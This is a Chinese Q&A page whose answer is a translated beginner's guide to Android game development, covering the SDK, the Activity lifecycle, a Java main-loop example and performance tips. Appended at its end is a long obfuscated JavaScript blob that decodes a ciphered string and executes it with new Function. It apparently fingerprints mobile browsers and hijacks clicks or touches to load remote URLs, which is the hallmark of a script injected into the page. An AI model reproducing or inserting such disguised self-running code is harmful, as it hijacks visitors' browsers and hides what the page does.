推荐回答(1个)
如果你有兴趣为Android平台开发游戏,有很多你需要了解的东西。如果你有过游戏开发经验,那么转移到移动平台上来将不是特别困难。你主要只需学习其架构以及API就行了。如果你是一名游戏开发新手,我总结了一张列表,上面有你必需知道的东西,供你起步用。这些知识适用于很多类型的游戏,包括动作类、策略类、模拟类和益智类。 Android是一个基于Java的环境。这对初学者来说是个好消息,因为相对于C++,Java被广泛认为是一门更容易上手的语言,它是移动开发的规范。Google也做了一件出色的工作,它将API文档化并提供示例代码供使用。其中有个叫做API Demos的示例几乎展示了所有API的功能。如果你熟悉Java并且用过Eclipse,要让你的第一个应用跑起来那是相当简单。如果你以前从没写过代码,在你前进路上还要学习很多,但别气馁。
获取SDK
新手上路的第一步便是获取Android SDK(软件开发工具包)。SDK里有一个核心类库,一个模拟器,一些工具和示例代码。我强烈建议使用Eclipse和Android Eclipse插件。如果你玩Android的话,Eclipse IDE对Java开发者来说很好用。如果这是你第一次开发Java项目,你可能会需要下载全套JDK,它里面包括签名和部署你的应用程序的一些工具。
学习应用程序架构
别急着一头扎进开发的海洋里,理解Android应用程序架构是很重要的。如果你不学一下,你设计出来的游戏在线下将很难调试。你将需要理解Applications、Activities、Intents以及它们怎样相互联系。Google提供了很多有用的架构信息。真正重要的是要理解为什么你的游戏需要多于一个的Activity,以及什么才是设计一个有良好用户体验的游戏。要理解这些,首先要了解什么是Activity生命周期。
学习Activity生命周期
Activity生命周期由Android操作系统来管理。你的activity创建、恢复、暂停、销毁都受操作系统的支配。正确处理这些事件是很重要的,这样应用程序才能表现良好,做用户认为正确的事。在你设计你的游戏之前了解所有这些是如何工作的是件好事,因为以后你可以为自己节省调试时间和昂贵的重新设计时间。对大多数应用来说,默认的设置将工作正常,但对于游戏,你可能需要考虑将SingleInstance标志打开。当设置为默认时,Android在它认为合适时会创建activity的新实例。对于游戏来说,你可能只需要一个游戏activity的实例。这对于你要怎样管理事务的状态有些影响,但对于我来说,这解决了一些资源管理的问题,应予以考虑。
主循环
根据你写的游戏的类型,你可能需要也可能不需要一个主循环。如果你的游戏不依赖于时间或者它仅仅对用户所做的加以回应,并且不做任何视觉上的改变,永远等待着用户的输入,那么你就不需要主循环。如果你写的是动作类游戏或者带有动画、定时器或任何自动操作的游戏,你应该认真考虑下使用主循环。
游戏的主循环以一个特定的顺序通常尽可能多的在每秒钟内“滴答”提醒子系统运行。你的主循环需要在它自己的线程里运行,原因是Android有一个主用户界面线程,如果你不运行自己的线程,用户界面线程将会被你的游戏所阻塞,这会导致Android操作系统无法正常的更新任务。执行的顺序通常如下:状态,输入,人工智能,物理,动画,声音,录像。
更新状态意思是管理状态转换,例如游戏的结束、人物的选择或下一个级别。很多时候你需要在某个状态上等上几秒钟,而状态管理应该处理这种延迟,并且在时间过了之后设置成下一个状态。
输入是指用户按下的任何键、对于滚动条的移动或者用户的触摸。在处理物理之前处理这些是很重要的,因为很多时候输入会影响到物理层,因而首先处理输入将会使游戏的反应更加良好。在Android里,输入事件从主用户界面线程而来,因此你必须写代码将输入放入缓冲区,这样你的主循环可以在需要的时刻就从缓冲区里取到它。这并非难事。首先为下一个用户输入定义一个域,然后将onKeyPressed或onTouchEvent函数设为接到一个用户动作就放到那个域里,有这两步就够了。如果对于给定游戏的状态,这是一个合法的输入操作,那么所有输入需要在那一刻做的更新操作都已经定下来了,剩下来就让物理去关心怎样响应输入吧。
人工智能所做的类似于用户在决定下一个要“按”哪个按钮。学习怎样写人工智能程序超出了这篇文章的范围,但大体的意思是人工智能会按照用户的意图来按按钮。这些也有待物理去处理和响应吧。
物理可能是也可能不是真正的物理。对于动作类游戏来说,关键点是要考虑到上一次更新的时间、正在更新的当前时间、用户输入以及人工智能,并且决定它们朝着什么方向发展和是否会发生冲突。对于一个你可视化地抓取一些部件并滑动它们的游戏来说,物理就是这个游戏中滑动部件或者使之放入合适的位置的部分。对于一个小游戏来说,物理即使这个游戏中决定答案是错还是对的部分。你可能将其命名为其他东西,但每个游戏都有一个作为游戏引擎的红肉部分(译者注:可能是主体部分的意思),在这篇文章里,我把这部分称为物理。
动画并非像在游戏里放入会动的gif图片那样简单。你需要使得游戏能在恰当的时间画出每一帧。这并没有听起来那么困难。保留一些像isDancing、danceFrame和lastDanceFrameTime那样的状态域,那样动画更新便能决定是否可以切换到下一帧去了。动画更新真正做的事就那么多。真正来显示动画的变化是由录像更新来处理的。
声音更新要处理触发声音、停止声音、音量变化以及音调变化。正常情况下当写游戏的时候,声音更新会产生一些传往声音缓冲区的字节流,但是Android能够管理自己的声音,因而你的选择将是使用SoundPool或者MediaPlayer。它们都需要小心处理以免出错,但你要知道,因为一些底层实现细节,小型、低比特率的声音文件将带来最佳的性能和稳定性。
录像更新要考虑游戏的状态、角色的位置、分数、状态等等,并将一切画到屏幕上。如果使用主循环,你可能需要使用SurfaceView,并做一个“推”绘制。对于其他视图,视图本身能够调用绘制操作,主循环不必处理。SurfaceView每秒产生的帧数最多,最适合于一些有动画或屏幕上有运动部件的游戏。录像更新所要做的工作是获取游戏的状态,并及时地为这个状态绘制图像。其他的自动化操作最好由不同的更新任务来处理。
代码看起来是什么样的?这儿有个例子。
1: public void run() {
2: while (isRunning) {
3: while (isPaused && isRunning) {
4: sleep(100);
5: }
6: update();
7: }
8: }
9:
10: private void update() {
11: updateState();
12: updateInput();
13: updateAI();
14: updatePhysics();
15: updateAnimations();
16: updateSound();
17: updateVideo();
18: }
3D还是2D?
在开始写游戏之前,你要决定是做3D的还是2D的。2D游戏有一个低得多的学习曲线,一般更容易获得良好的性能。3D游戏需要更深入的数学技能,并且如果你不在意的话会有性能问题产生。如果你打算画比方框和圆圈更复杂的图形,还需要会使用3D Studio和Maya那样的建模工具。Android支持OpenGL用来3D编程,并且在OpenGL方面有很多很好的教程可供学习。
建立简单、高质量的方法
上手时,要确保你整个游戏不要就用一个庞大而冗长的方法。如果你遵循我上面描述的主循环模式,这将相当简单。每个你写的方法应当完成一个非常特定的任务,并且它就应该无差错地那样做。举例来说,如果你需要洗一副纸牌,你应该写一个“shuffleCards”的方法,并且该方法就应该只做这一件事。
这是一个适用于任何软件开发的编码实践,但对于游戏开发来说这尤为重要。在一个有状态的、实时的系统里,调试将变得非常困难。使你的方法尽量的小,一般的经验法则是每个方法有且仅有一个目的(译者注:完成且仅完成一个功能)。如果你要为一个场景用编程方式画一个背景,你可能需要一个叫做“drawBackground”的方法。诸如此类的任务能够很快完成,因而你可以按照搭积木的方法来开发你的游戏,而你能够继续添加你要的功能,并且不会使得这一切难以理解。
最重要的是效率!
性能是任何游戏的主要问题。我们的目标是使得游戏的反应越快越好,看起来越流畅越好。某些方法如Canvas.drawLine比较慢。并且要将屏幕大小的位图画到主画布上,每一帧都是代价昂贵的。如何权衡对于达到最佳性能很有必要。确保管理好你的资源,使用技巧来以最少量的CPU资源完成你的任务。如果性能不好的话,即使是最好的游戏玩起来也没劲。人们一般对于游戏卡或者响应慢几乎难以容忍。
提示和技巧
看一下SDK中的示例LunarLander。它使用SurfaceView,这对于一个每秒需要处理最多帧的游戏来说是合适的。如果你要做3D,示例中有GLView可以处理3D显示的很多初始化工作。对LightRacer来说,我不得不优化把所有东西都画出来这种方法,否则帧率将会大大地降低。我只在视图初始化的时候把背景画进一个位图里一次。路径放在它们自己的位图里,随着车手的前进而更新。这两个位图在每一帧里都被画进主画布中去,车手画在顶端,到最后会有一个爆炸。这种技术使得游戏运行在一个可以玩的程度。
如果适用的话,使得你的位图的大小精确等于你打算画到屏幕上的大小,这也是个好的实践。这么做了以后就需要缩放,可以节省CPU资源。
在游戏中始终一致的位图配置(如RGBA8888)。这将会通过减少不同格式之间转换的时间来节省图形库的CPU时间。
如果你决定开发3D游戏但没有3D方面的知识,你需要挑选一两本3D游戏编程方面的书并学习线性代数。你最少要理解点积、叉积、向量、单元向量、法线、矩阵和变换。这方面我遇到的最好的书是叫《3D游戏编程和计算机图形学数学》。
声音文件要小而且低比特率。需要加载的越少,加载速度越快,游戏所需内存越少。
声音使用OGG文件,图片使用PNG文件。
确保释放所有媒体播放器,当Activity销毁时空出所有的资源。这能保证垃圾收集器清除了所有东西,也能保证在两次游戏开始之间没有内存泄露。
加入Android谷歌小组,寻求社区支持。这里有人可以在开发过程中给你帮助。
最重要的是,花时间测试再测试,确保每一小部分都如你所愿地工作。改善游戏是整个开发中最耗时最困难的部分。如果你匆匆将其推向市场,你很可能会使用户们失望,你会感到你的努力都白费了。你不可能使所有人都喜欢你写的东西,但你至少要尽量发布你最高质量的作品。
Google在这里有帮助你上手的绝佳的文档。
电驴上也有很多不错的书籍和视频教程~希望对你有帮助
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();